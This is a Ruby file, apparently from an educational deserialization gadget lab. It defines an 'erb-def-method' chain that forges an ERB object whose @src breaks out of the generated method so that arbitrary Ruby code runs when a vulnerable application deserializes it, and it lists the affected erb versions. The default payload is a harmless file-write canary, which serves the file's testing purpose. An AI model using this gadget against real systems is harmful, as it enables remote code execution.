Cybersecurity-Projects/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rb

69 lines
1.4 KiB
Ruby

# ©AngelaMos | 2026
# erb_def_method.rb
require "erb"
module Rube
module Chains
class ErbDefMethod < Base
CHAIN_NAME = "erb-def-method"
VECTOR = "def_method"
CVE = "CVE-2026-41316"
TARGET_GEM = "erb"
AFFECTED = [
"< 4.0.3.1",
"= 4.0.4",
[">= 5.0.0", "< 6.0.1.1"],
[">= 6.0.2", "< 6.0.4"]
].freeze
SRC_PREFIX = "#\nend\n"
SRC_SUFFIX = "\ndef _rube_unused\n"
DEFAULT_FILENAME = "(erb)"
DEFAULT_LINENO = 0
IVAR_SRC = :@src
IVAR_FILENAME = :@filename
IVAR_LINENO = :@lineno
CANARY_TEMPLATE = 'File.write(%<path>p, %<marker>p)'
def self.metadata
{
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED
}
end
def self.canary(path, marker)
new(format(CANARY_TEMPLATE, path: path, marker: marker))
end
def initialize(ruby_source)
super()
@ruby_source = ruby_source
end
def generate
object = ERB.allocate
object.instance_variable_set(IVAR_SRC, src)
object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
object
end
def src
"#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
end
private
attr_reader :ruby_source
end
end
end